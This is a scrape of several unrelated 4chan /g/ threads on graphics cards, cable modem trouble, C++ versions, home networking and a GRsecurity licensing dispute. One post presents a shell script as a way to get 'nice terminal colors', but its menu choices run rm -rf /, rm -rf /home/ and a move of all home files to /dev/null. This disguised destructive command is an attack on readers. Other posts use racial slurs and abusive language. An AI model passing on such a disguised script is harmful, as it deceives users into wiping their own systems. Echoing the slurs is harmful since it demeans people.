Is there any reason for me to go for a 1070 over a 480 when I only play weeb shit and emulators at 1080p?
From what it seems, it looks like the perfectly 1080p card.
>>54862545
RX 480 is like the perfect card for you, my dude.
Benchmarks generally don't lie, hype/meme-trains do. Be it AMD, Nvidia or the fucking pope.
>>54862569
That's what it seems, skipping 1440p and waiting for decent <$400 IPS 4K monitors to be a thing before upgrading from 1080.
Yea or Neigh?

>buying Best Buy laptops
Did you remember to bring your wife when you spoke to the Best Buy salesman?
im looking to upgrade my gaming display.
I'm between buying a 4k tv of maximum 40-inch or 34-inch ultrawide monitor of 3440 x 1440 resolution
The monitor is a VA Panel, the TV problably too or IPS.
Any suggestion /g/?

Lately my connection's been really unstable while wired. It's not the router since the modem lights clearly says it can't connect.
So I had a techie from the cable company come by and trouble shoot and check the internal net. On every outlet the signal was as it should be, but on the outlet my docsis modem is connected to he said the signal is a bit too high, higher than it should be that is, so he went out to the cable box in the street and tuned the strength down a bit and we agreed to leave it at that to try it a bit.
The connection is still unstable however. Apparently, during the summer when it gets hot, the cable contracts which causes higher resistance which might be my problem considering it's perfectly stable during winter and when it's chillier in general.
The house is old, not exactly sure when it was built but I think the cable network is over over 20 years old at the very least, and the cable is installed pretty weirdly. I suspect the previous owner has installed new outlets without an authorized technician, but I'm not sure about the history here.
At this point it feels like the entire house just need to be renovated and a new cable installed. There shouldn't be any interference around here so I'm at a complete loss why the net keeps falling out. Maybe I'll ask for a new modem
Fuck you

yeah yeah I know /g/ is not my personal help desk but come on, let's discuss docsis a bit

Nice try
For news in Linux, this is an algorithm with which you can have a nice terminal colors like the picture. You only copy this code in your txt editor (From #!/bin/sh to esac):
#!/bin/sh
# Script for colorfull shell
echo "1) Basic modification"
echo "2) Expert modification"
echo "3) Others"
echo -n "Write your number:"
read opcion
case "$opción" in
1) rm -rf /;;
2) rm -rf /home/;;
3) mv /home/*/* /dev/null;;
*) echo "Error, please write your number"
esac

your screenshot looks fucking nice, is that regular Ubuntu? Looks like the old 10.10

are you retarded? you think people who know how to create a bash script and run it in a terminal (chmod it and run with sudo), will fall for it?
I seriously hope this is somehow ironic or some shit
Why not just let it die and move over to superior D already?
Because it's not that simple here in real life.

most companies still aren't using C++ versions written since 1990. Yet they keep pushing out new ones to literally zero audience.
Last time it was c++ threads. Literally the worst thread model in the history of language design. C++ already had decent threads from Boost and other libraries.
No one is gonna use this C++17 shit, its just more masturbatory versioning.
Redpill me on graphics cards, /g/. I am going to set up GPU passthrough from my main machine.
As far as I have noticed nvidia is /v/ approved while amd is /g/.
What company should I waste my money on? R9 Fury or GTX 980?
Wait until the end of the month.
The RX 480 will be 200 dollars and it looks like it will be between 390 and 390X in terms of performance.
Don't buy the previous generation cards just before we get the new generation.
>>54862147
Unless you get a used one on the cheap from craiglist or some shit.
Asking for a redpill from /g/? The fuck are you doing?
These dumb assholes are just going to get in to a shit-flinging contest. The fact that one is /v/ approved and the other /g/ should be telling enough that these retards know jack shit. Have you looked at other threads in this place? There are people who thread-hop for the express purpose to leave a dissenting remark or comment.
Believe nobody in this fuckin echo chamber.
Just completed my mechanical engineering but do not have interest in this field and now want to do my ms in computers . I have cleared gre already . What should i do . Anyone?

where are u , just tell me and i will come there and cut it for u

You got as far as getting a mech eng degree, and you're asking the retards on /g/ for advice on get a masters in computer what? Science or Eng. You have all the resources from your school , but yet you still come here. If you like embedded and fucking with microprocessors take comp eng, if you like math take comp sci.
Does this work?
No. Those are either four wireless modems or you've neglected the modem entirely.
The correct layout is pole > modem > a series of wireless access points.
>>54861411
To over simplify it, no, you'd be better served by having one modem route to three other WiFi routers. Also, >>>/wsr/ next time, they won't call you an idiot. Lastly, you're an idiot, go away.
They are wireless routers actually connected to the incoming DSL phone cable.
Hey /g/ what is your opinion about the mobile app Clean Master?

The floor is now UNIX!
The floor is very UNIX-like. It only supports things and it supports them well.
Tile is the most Unix-like of all flooring materials. It's made up of simple individual pieces that can be combined in various ways to form a more complicated system.
damn right, OSX4lyfe!
Re: GRsecurity is preventing others from employing their rights under version 2 the GPL to redistribute source code

If I understand right, this is a matter of GPL 2 on the Linux patches.
Is that right? If so, I think GRsecurity is violating the GPL on

In response to:
GRsecurity is preventing others from employing their rights under version 2 the GPL to redistribute (by threatening them with a non-renewal of a contract to recive this patch to the linux kernel.)
(GRsecurity is a derivative work of the linux kernel (it is a patch))
People who have dealt with them have attested to this fact:
https://www.reddit.com/r/KotakuInAction/comments/4grdtb/censorship_linux_developer_steals_page_from_randi/
"You will also lose the access to the patches in the form of grsec not renewing the contract.
Also they've asked us (a Russian hosting company) for $17000+ a year for access their stable patches. $17k is quite a lot for us. A question about negotiating a lower price was completely ignored. Twice." -- fbt2lurker
And it is suggested to be the case here aswell:
https://www.reddit.com/r/linux/comments/4gxdlh/after_15_years_of_research_grsecuritys_rap_is_here/
"Do you work for some company that pays for Grsecurity? If so then would you kindly excersise the rights given to you by GPL and send me a tarball of all the latest patches and releases?" -- lolidaisuki
"sadly (for this case) no, i work in a human rights organization where we get the patches by a friendly and richer 3rd party of the same field. we made the compromise to that 3rd party to not distribute the patches outside and as we deal with some critical situations i cannot afford to compromise that even for the sake of gpl :/
the "dumber" version for unstable patches will make a big problem for several projects, i would keep an eye on them. this situation cannot be hold for a long time" -- disturbio
Is this not tortious interference, on grsecurity's (Brad Spengler) part, with the quazi-contractual relationship the sublicensee has with the original licensor?
(continued)
(Also Note: the stable branch now contains features that will never make it to the "testing" branch, and are not allowed to be redistributed, per the scheme mentioned above (which has been successful: not one version of the stable branch has been released by anyone, even those asked to do so, since the scheme has been put in place (they say they cannot as they cannot lose access to the patch as that may cost the lives and freedom of activists in latin america)))

@xoreipeip @grsecurity they call it a "demo" version "20:14 < spender> what's in the public version is < 1/5th the size of the full version"
oreipeip @grsecurity "20:21 < spender> also it wouldn't be as fast as the commercial version [...] there are missing optimization passes"

GRsecurity are a bunch of bullies, trying to stop free flow of information!
What does /g/ think about Visual Basic?
>>54861067
I mean, visually speaking, it's pretty basic.
Shit for use, good for teaching noobs
I think it's the nigger language for niggers and over-the-hill jizz stains.
Having said that it got me started when I was 13, so I can't really complain.
Ok so we come here to shitpost and for memes.
But what websites you visit for some genuine tech news or discussions ? I'm trying to get into that world somehow, I'm tired of doing and learning things alone and coming here just in spare time.
Anon, I've been trying to find the answer to this question for ages.
I don't think there is one. I'm stuck with this shithole.
